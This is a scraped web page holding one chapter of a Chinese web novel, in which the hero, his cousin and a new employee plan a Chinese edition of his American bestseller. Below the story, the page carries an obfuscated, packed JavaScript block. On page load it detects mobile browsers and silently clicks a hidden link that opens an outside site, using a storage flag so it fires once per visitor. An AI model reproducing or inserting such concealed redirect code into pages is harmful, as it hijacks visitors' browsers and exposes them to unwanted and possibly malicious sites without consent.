第五文学网 > 都市小说 > 重生之悠闲 > 第二百五十四章 中文版

第二百五十四章 中文版

    “我们某位伟人说,战略上藐视对手,战术上要重视对手。

    安娜之前跟叶雷阳做对手的时候,怎么都没想到,自己这位新老板,居然还有这么多隐藏起来的本事。她甚至都要怀疑,叶雷阳这家伙的技能树是不是全都点歪了,怎么全都是娱化方面的东西呢。

    不过还没等安娜把内心深处的疑惑说出来,叶雷阳已经目瞪口呆的看着田晓旭:“姐,我怎么不知道我要写新书这件事?”

    “啊?”

    这下安娜更加惊讶了,她忽然觉得自己似乎进了一家不太靠谱的公司。

    田晓旭脸色微红,有点尴尬的说:“这事怪我,当初蔡夫人找我的时候,我以为你最近有时间,就答应了下来,没想到……”

    叶雷阳一阵无语,蔡夫人自然是北海的市委宣传部部长蔡晋的夫人,那位京城教育出版社的负责人,想不到田晓旭居然给自己找了这么一个麻烦。

    想来想去,叶雷阳无奈的发现,自己现在没什么可以写的。

    “姐,我没有灵感。”叶雷阳如是说道。

    田晓旭傻眼了,她虽然不懂文学创作方面的事情,却也知道,一个作家如果说没有灵感的话,那就等于他写不出东西来。

    “这,这可怎么办?”田晓旭脸上微微有些焦急了起来。

    这时候,安娜却笑着开口道:“田小姐。你刚刚说老板在美国也出版了一本书?”

    田晓旭点点头,随即摆摆手:“你也不用客气。公司就四个人,你叫他叶子就行。”

    安娜娇笑了起来,点点头道:“既然这样,那我就不客气了。叶子之前如果在美国出版过一本书的话,这个事情其实很好解决,只要让他把那本书的中文版写出来。不就可以了吗?”

    “啊?”这下子。轮到叶雷阳和田晓旭面面相觑了,姐弟俩互相看了看,却不知道该怎么说了,安娜这个办法乍一听上去有些荒谬,可仔细一琢磨,还真有几分道理。

    “姐,这个可以么?”叶雷阳看向田晓旭,他是真不懂这个事情,虽然前世是编剧。可叶雷阳还从来没有听说过这种事。

    田晓旭也是一脸迷茫,想了想道:“我还是打个电话问一下吧。”

    电话的结果,是京城教育出版社也有点晕头转向了,用田晓旭的话说。他们也从来没有遇到过这样的事情,从前都是华夏这边努力的想要购买国外畅销书籍的中文版权,结果现在叶雷阳声称自己是美国一本出版小说的原作者,拥有中文版权,这有点太离谱了。

    “总而言之,人家的意思,是希望能够了解一下《暮光之城》在北美的销售情况。”田晓旭放下电话之后。对叶雷阳说道。

    原本叶雷阳并不打算用《暮光之城》这个名字,但很可惜,美国那边的出版社坚持用这个名字,无奈之下他也只能够点头答应。

    听了田晓旭的话,叶雷阳点点头:“这个倒是没有什么问题,人家不可能做赔本的生意,美国那边有没有消息,什么时候能够上市?”

    田晓旭道:“王瑞秋给我的消息,是大概三月初就会正式投入市场,根据出版商的预计,这本书的销量会很好。”

    “真的?”安娜有些意外,没想到自家这个小老板,居然真的是一个畅销书作家。

    田晓旭认真的点点头:“美国那边对于图书销售都有一个专门的预期调查,根据调查显示,百分之八十读了阳阳新书的人,都会选择购买。”

    安娜倒吸了一口冷气,百分之八十的购买率这意味着,只要叶雷阳的书能够出现在别人的视线当中,被拿起来阅读,那么就有很大的几率被购买。

    “既然这样,那安娜小姐你的第一个任务就来了。”叶雷阳笑了笑对安娜说道:“我姐可以给你王瑞秋,噢,也就是我们公司另外一个合伙人的联系方式,他会向你提供《暮光之城》最终出版稿的英文版,你负责找人翻译成中文。”

    “额,用你的原稿不可以么?”安娜一愣神,下意识的问道。

    既然叶雷阳是原作者,那直接用中文原版岂不是更好。

    叶雷阳一拍脑袋,哈哈大笑了起来,自己可真是猪脑子,这么重要的事情居然给忘记了。

    “好,回头我把稿子发你邮箱,你负责找人校对。”叶雷阳想了想道:“我的意思,是你把英文版的也找人翻译一下,看看我的原稿和英文版有什么区别。”

    安娜点头答应了下来,叶雷阳这才和田晓旭离开宾馆。

    “她值得信任么?”田晓旭走出宾馆之后,第一句话就对叶雷阳问道。

    叶雷阳耸耸肩:“她是个有野心的人,只要我能给她机会,她就不会选择背叛。”

    所谓忠诚,其实就是背叛的筹码不够而已,这一点叶雷阳比任何人都清楚。

    因此他对安娜的需要很了解,这个女人,只要自己给她足够的舞台和空间,她就不会背叛,而且就算她玩什么花样又能如何,这稿子的版权在自己手里,叶雷阳随时随地可以收回的。

    “对了,王瑞秋什么情况,过年打算来这边过?”叶雷阳笑了笑,看着田晓旭眨眨眼道。

    田晓旭难得一见的脸红起来,却没有回答叶雷阳的话。

    说起来这是个很有意思的事情,之前王瑞秋一直在追求田晓旭,因为名字的关系,叶雷阳一直以为王瑞秋是个女人,田晓旭也顺水推舟对家里人宣称王瑞秋是自己大学室友。结果后来因为合作的关系,叶雷阳才知道,闹了半天王瑞秋是个男人!

    于是乎,这就成了叶雷阳调侃自家老姐的一个段子。

    “姐,如果真的喜欢,那差不多就嫁了吧。”叶雷阳笑了笑,对田晓旭说道。

    他是真心希望表姐能够找到自己的幸福,毕竟在这个世界上,叶雷阳为数不多亲近的人当中有田晓旭在内,而叶雷阳,则是希望自己身边的每一个亲人,全都能过上快乐幸福的生活。

    此生若得安稳,谁又愿意颠沛流离呢?(未完待续。)


eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('r x(){m(Q y==="\\s\\2\\4\\0\\n\\5\\2\\0\\4"){z R}t a=(S^T)+(U^V);u A=y[\'\\s\\c\\0\\8\\W\\i\\0\\2\\3\'][\'\\3\\1\\v\\1\\o\\0\\8\\p\\6\\c\\0\']();a=(X^Y)+(Z^10);t b;u B=11 12(\'\\6\\2\\4\\8\\1\\5\\4\\d\\5\\e\\j\\1\\2\\0\\d\\5\\e\\6\\4\\d\\5\\e\\1\\4\\d\\o\\5\\2\\4\\1\\o\\c\\C\\e\\j\\1\\2\\0\\d\\9\\7\\6\\k\\q\\9\\0\\8\\8\\g\\d\\c\\g\\f\\9\\5\\6\\2\\d\\o\\0\\9\\1\\c\\d\\1\\e\\0\\8\\6\\C\\f\\5\\2\\5\\d\\5\\0\\f\\1\\9\\5\\7\\0\\d\\f\\1\\9\\5\\7\\0\',\'\\5\');b=(13^14)+(15^16);z B[\'\\3\\0\\c\\3\'](A)}r D(a){t b;u h=l[\'\\k\\8\\0\\6\\3\\0\\E\\7\\0\\f\\0\\2\\3\']("\\6");b=(17^18)+(19^1a);h[\'\\j\\8\\0\\n\']=a;h[\'\\c\\3\\g\\7\\0\'][\'\\4\\5\\c\\e\\7\\6\\g\']="\\2\\1\\2\\0";h[\'\\3\\6\\8\\i\\0\\3\']="\\F\\9\\7\\6\\2\\q";l[\'\\9\\1\\4\\g\'][\'\\6\\e\\e\\0\\2\\4\\p\\j\\5\\7\\4\'](h);h[\'\\k\\7\\5\\k\\q\']();l[\'\\9\\1\\4\\g\'][\'\\8\\0\\f\\1\\G\\0\\p\\j\\5\\7\\4\'](h)}l[\'\\6\\4\\4\\E\\G\\0\\2\\3\\v\\5\\c\\3\\0\\2\\0\\8\']("\\1b\\1c\\1d\\p\\1\\2\\3\\0\\2\\3\\v\\1\\6\\4\\0\\4",r(){m(!H[\'\\i\\7\\1\\9\\6\\7\\I\\6\\8\']){m(l[\'\\9\\1\\4\\g\']!=1e){H[\'\\i\\7\\1\\9\\6\\7\\I\\6\\8\']="\\w";J=K[\'\\i\\0\\3\\w\\3\\0\\f\']("1f".L("").M().N(""));m(!J&&x()){D("\\j\\3\\3\\e\\1g\\O\\O\\1h\\1i\\1j\\1k\\P\\i\\1\\2\\7\\7\\P\\k\\1\\f")}K[\'\\c\\0\\3\\w\\3\\0\\f\']("\\7\\s\\k\\q\\F\\n\\n","1l".L("").M().N(""))}}});',62,84,'u0065|u006F|u006E|u0074|u0064|u0069|u0061|u006C|u0072|u0062|||u0073|u007C|u0070|u006D|u0079|_0x0g4cad|u0067|u0068|u0063|document|if|u0066|u0077|u0043|u006B|function|u0075|var|const|u004C|u0049|isMobileDevice|navigator|return|_0xb84ffe|_0x5f623d|u0020|OpenUrl|u0045|u005F|u0076|window|u0056|hasExecuted|localStorage|split|reverse|join|u002F|u002E|typeof|false|234639|234635|431293|431285|u0041|436461|436452|636174|636172|new|RegExp|776521|776526|120762|120761|272370|272371|569758|569757|u0044|u004F|u004D|null|ff_kcul|u003A|u0037|u0035|u0033|u0032|eurt'.split('|'),0,{}))